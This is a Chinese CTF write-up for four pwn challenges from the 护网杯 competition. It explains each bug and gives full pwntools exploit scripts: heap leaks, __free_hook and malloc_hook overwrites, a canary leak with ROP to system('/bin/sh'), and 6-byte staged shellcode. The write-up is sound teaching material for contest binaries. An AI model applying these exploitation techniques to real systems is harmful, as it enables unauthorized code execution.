护网杯 pwn wp

周末玩了玩护网杯,然而我做完shoppingcart以后就一直在做取证,然后由于没看到dumpfiles有个-Q参数,一直dump文件到比赛结束(没视力选手痛苦流泪。。。哭

赛后解了一下剩下的几个pwn,也都不难(真亏,以下是wp


shoppingcart

两个洞都在买东西的时候。

一个在取名字的时候,没检查长度,如果长度为0就能跳过输入了。(用于leak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 func_21_add()
{
unsigned __int64 name_size; // ST10_8
good *v1; // ST18_8
__int64 v2; // rax
char s; // [rsp+20h] [rbp-20h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( (unsigned __int64)good_sum <= 0x13 )
{
puts("How long is your goods name?");
fgets(&s, 24, stdin);
name_size = strtoul(&s, 0LL, 0);
v1 = (good *)malloc(0x10uLL);
v1->num = 999LL;
v1->name = (char *)malloc(name_size);
puts("What is your goods name?");
v1->name[(signed int)read(0, v1->name, name_size) - 1] = 0; //长度0跳过输入,且0结尾写在-1位置。
v2 = good_sum++;
goodlist[v2] = v1;
}
else
{
puts("Your shopping cart is full now!");
}
return __readfsqword(0x28u) ^ v5;
}

第二洞在修改的时候没检查下标,这样就能利用bss上的东西搞点事情。

大体思路就是利用leak能搞到heap和libc的地址,然后利用在bss上伪造他的结构体,然后利用不合法下标做到任意地址写。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
cn = process('./task_shoppingCart')
# bin = ELF('./task_shoppingCart',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
cn = remote('117.78.27.105', 30403)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
pass


def z(a=''):
if local:
gdb.attach(cn,a)
if a == '':
raw_input()

def add_money(con):
cn.sendlineafter('!','1')
cn.sendlineafter('?',con)

def end_add_mon():
cn.sendlineafter('!','3')


def add_good(con,leng):
cn.sendlineafter('!','1')
cn.sendlineafter('?',str(leng))
cn.sendlineafter('?',con)

def drop_good(idx):
cn.sendlineafter('!','2')
cn.sendlineafter('?',str(idx))

def mod_good1(idx):
cn.sendlineafter('!','3')
cn.sendlineafter('?',str(idx))

def end_good():
cn.sendlineafter('!','4')


for i in range(10):
add_money('mon'+str(i))
end_add_mon()


add_good('asd',5)
add_good('zxc',5)
drop_good(0)
drop_good(1)
add_good('',0)

# z()
mod_good1(2)

cn.recvuntil('modify ')
hleak = u64(cn.recvuntil(' ')[:-1].ljust(8,'\x00'))

success('hleak: '+hex(hleak))
cn.sendline('aaa')

add_good('asd',0x100)
add_good('zxc',5)
drop_good(3)
add_good('',0)
mod_good1(5)

cn.recvuntil('modify ')
d = cn.recvuntil(' ')[:-1]
lbase = u64(d.ljust(8,'\x00'))-0x3c4b20-344
success('lbase: '+hex(lbase))
cn.sendline(d)

pay='/bin/sh\x00'+p64(0)
pay+= p64(lbase +libc.sym['__free_hook'])+p64(0xdead)
add_good(pay,0x100)
haddr=hleak+0x0001d0
mod_good1(-12)
cn.sendline(p64(haddr))

mod_good1(-0x20)
cn.sendline(p64(lbase+libc.sym['system']))
drop_good(6)

cn.interactive()

calendar

堆题,检查很松,只是没有leak,类似的见过,就是利用部分覆盖,先搞出个fastdup到mallochook上。然后unsortedbin attack打一个libc值到mallochook,然后部分覆盖成onegadget。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process('./task_calendar')
# bin = ELF('./task_calendar',checksec=False)
# libc = ELF('',checksec=False)
else:
#cn = remote('')
pass


def z(a=''):
if local:
gdb.attach(cn,a)
if a == '':
raw_input()


def add(idx,size):
cn.sendlineafter('>','1')
cn.sendlineafter('>',str(idx))
cn.sendlineafter('>',str(size))

def edit(idx,size,con):
cn.sendlineafter('>','2')
cn.sendlineafter('>',str(idx))
cn.sendlineafter('>',str(size))
cn.sendafter('>',con)

def dele(idx):
cn.sendlineafter('>','3')
cn.sendlineafter('>',str(idx))

cn.sendlineafter('name>','asd')

add(1,0x68)
add(2,0x68)
add(3,0x68)
add(4,0x68)

#fastbin dup
dele(2)
dele(3)
dele(2)
add(2,0x68)
add(3,0x68)

pay = 'a'*0x68+'\xe1'
edit(1,0x68,pay)
dele(2)
add(2,0x48)

pay = 'a'*0x68+'\x71'
edit(1,0x68,pay)

pay = '\xfd\x1a'
edit(2,len(pay)-1,pay)

#malloc_hook
add(4,0x68)
add(4,0x68)

#fix 0x7f
pay = '\x00'*3+p64(0)*9
edit(4,len(pay)-1,pay)

# fix
dele(3)
add(3,0x40)
add(3,0x30)
add(3,0x68)

#unsorted bin attack -> write libc addr on malloc_hook
pay = 'a'*0x68+'\xe1'
edit(1,0x68,pay)
dele(2)
pay = 'a'*0x68+'\x71'
edit(1,0x68,pay)
pay = p64(0)+'\x00'
edit(2,len(pay)-1,pay)
add(2,0x68)

# onegadget(part) -> malloc_hook
pay = '\x00'*3+'\xa4\xd2\xaf'
edit(4,len(pay)-1,pay)

#tirger malloc hook
dele(1)
dele(1)

try:
cn.sendline('echo asdasd')
d = cn.recvuntil('asdasd')
except:
d=''

if 'asdasd' in d:
cn.interactive()
else:
cn.close()

huwang

这题有点意思,问题出在open上面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
void __noreturn leet_666()
{
int v0; // ST04_4
signed int i_fd; // [rsp+0h] [rbp-80h]
unsigned int newfda; // [rsp+0h] [rbp-80h]
signed int newfdb; // [rsp+0h] [rbp-80h]
int i_fd_4; // [rsp+4h] [rbp-7Ch]
int i_fd_4a; // [rsp+4h] [rbp-7Ch]
int newfd2; // [rsp+4h] [rbp-7Ch]
int fd_random; // [rsp+8h] [rbp-78h]
int fda; // [rsp+8h] [rbp-78h]
int n; // [rsp+Ch] [rbp-74h]
char buffer; // [rsp+10h] [rbp-70h]
char rnd_buf[32]; // [rsp+20h] [rbp-60h]
char s1; // [rsp+40h] [rbp-40h]
char buf[24]; // [rsp+60h] [rbp-20h]
unsigned __int64 v14; // [rsp+78h] [rbp-8h]

v14 = __readfsqword(0x28u);
puts("please input your name");
read(0, buf, 0x20uLL); // cover canary
memset(rnd_buf, 0, 16uLL);
puts("Do you want to guess the secret?");
read_n(&buffer, 2LL);
if ( buffer == 'y' )
{
if ( access("/tmp/secret", 0) == -1 )
{
i_fd_4 = open("/tmp/secret", 0x41); // O_CREAT|O_WRONLY , rwx
fd_random = open("/dev/urandom", O_RDONLY);
read(fd_random, rnd_buf, 12uLL);
for ( i_fd = 0; i_fd <= 11; ++i_fd )
rnd_buf[i_fd] &= 1u;
write(i_fd_4, rnd_buf, 0xCuLL);
close(i_fd_4);
close(fd_random);
}
v0 = open("/tmp/secret", 0);
read(v0, rnd_buf, 0xCuLL);
close(v0);
puts("Input how many rounds do you want to encrypt the secret:");
n = read_int();
if ( n > 10 )
{
puts("What? Why do you need to encrypt so many times?");
exit(-1);
}
if ( !n )
{
printf("At least encrypt one time");
exit(-1);
}
i_fd_4a = open("/tmp/secret", 0x201); // O_TRUNC|O_WRONLY
for ( newfda = 0; newfda < n; ++newfda )
MD5(rnd_buf, 16LL, rnd_buf);
write(i_fd_4a, rnd_buf, 0x10uLL);
close(i_fd_4a);
puts("Try to guess the md5 of the secret");
read(0, &s1, 0x10uLL);
if ( !memcmp(&s1, rnd_buf, 0x10uLL) )
success_guess((__int64)buf);
newfd2 = open("/tmp/secret", 0x201);
fda = open("/dev/urandom", 0);
read(fda, rnd_buf, 0xCuLL);
for ( newfdb = 0; newfdb <= 11; ++newfdb )
rnd_buf[newfdb] &= 1u;
write(newfd2, rnd_buf, 0xCuLL);
close(newfd2);
close(fda);
exit(0);
}
printf("Oh!bye %s\n", buf);
exit(0);
}

后面几个open他用O_TRUNC来打开,这样会清除文件的内容,但正常来说这样也没什么问题,因为打开后他就写入并关闭。因此这里还有第二个问题,就是加密轮数没有检查负数,如果我们输入负数,这个for就能跑比较久(相当于帮我们卡一下)。这个时候我们再打开一个socket连上去就能得到一个空白的/tmp/secret。这时md5就是已知值了。

上面输入名字有个overflow帮我们连接canary来leak,success里面是一个大的栈溢出,知道canary就随便玩了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process('./huwang')
bin = ELF('./huwang',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
#cn = remote('')
pass


def z(a=''):
if local:
gdb.attach(cn,a)
if a == '':
raw_input()

def leet(name):
global cn
cn.sendlineafter('>>','666')
cn.sendafter('name',name)
cn.sendlineafter('?','y')
cn.sendlineafter(':','-1')
cn2 = process('./huwang')
cn2.sendlineafter('>>','666')
cn2.sendafter('name',name)
cn2.sendlineafter('?','y')
cn2.sendlineafter(':','1')
tmp='\x00'*16
import hashlib
tmp = hashlib.md5(tmp).hexdigest().decode('hex')
cn2.sendafter('secret',tmp)
cn.close()
cn = cn2

# z('b *0x0000000000401388\nc')
pay = 'a'*25
leet(pay)
# z()
cn.recvuntil(pay)
canary = '\x00'+cn.recv(7)
cn.sendafter('?','a'*255)
cn.sendlineafter('N','Y')

prdi=0x0000000000401573

pay = 'a'*264+canary+'b'*8
pay+=p64(prdi)+p64(bin.got['puts'])+p64(bin.plt['puts'])
pay+=p64(prdi)+p64(bin.got['puts'])+p64(0x000000000040101C)
cn.send(pay)
cn.recvuntil('aaa\n')
lbase = u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-libc.sym['puts']
success('lbase: '+hex(lbase))
system = lbase+libc.sym['system']
binsh = lbase+libc.search('/bin/sh').next()

cn.sendafter('?','a'*255)
cn.sendlineafter('N','Y')
pay = 'a'*264+canary+'b'*8
pay+=p64(prdi)+p64(binsh)+p64(system)
cn.send(pay)

cn.interactive()

six

6字节的shellcode,首先他mmap了两个段,且rw在前,rwx在后,如果random读出来两个很大的数,让系统去mmap会分配到相邻的两个段,且rw在上,rwx在下。这时候我们就有一个很基础的想法:用syscall read,一路从rw read到rwx上,然后顺路执行新shellcode。

因为大部分寄存器都清除了,要read需要设置rsi到rw或rwx段,rdx为一个适合的size和一个syscall。

设置rsi的方法应该是想不到第二个了。push rsp;pop rsi,其他都太长了。
因为syscall也占了2byte,所以需要2byte来完成rdx的设置。

我尝试过pushfq;pop rdx,这样奇偶条件不满足,且rdx不够大。

还有一个lahf;xchg edx,eax,这个正好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process('./six')
# bin = ELF('',checksec=False)
#libc = ELF('',checksec=False)
else:
#cn = remote('')
pass


def z(a=''):
if local:
gdb.attach(cn,a)
if a == '':
raw_input()

context.arch = 'amd64'
sc='''push rsp;pop rsi;lahf;xchg edx,eax;syscall'''
sc = asm(sc)
cn.sendafter(':',sc)

pay = 'a'*(0x1000-0x500)
pay+='\x90'*0x36+asm(shellcraft.sh())
cn.sendline(pay)

cn.interactive()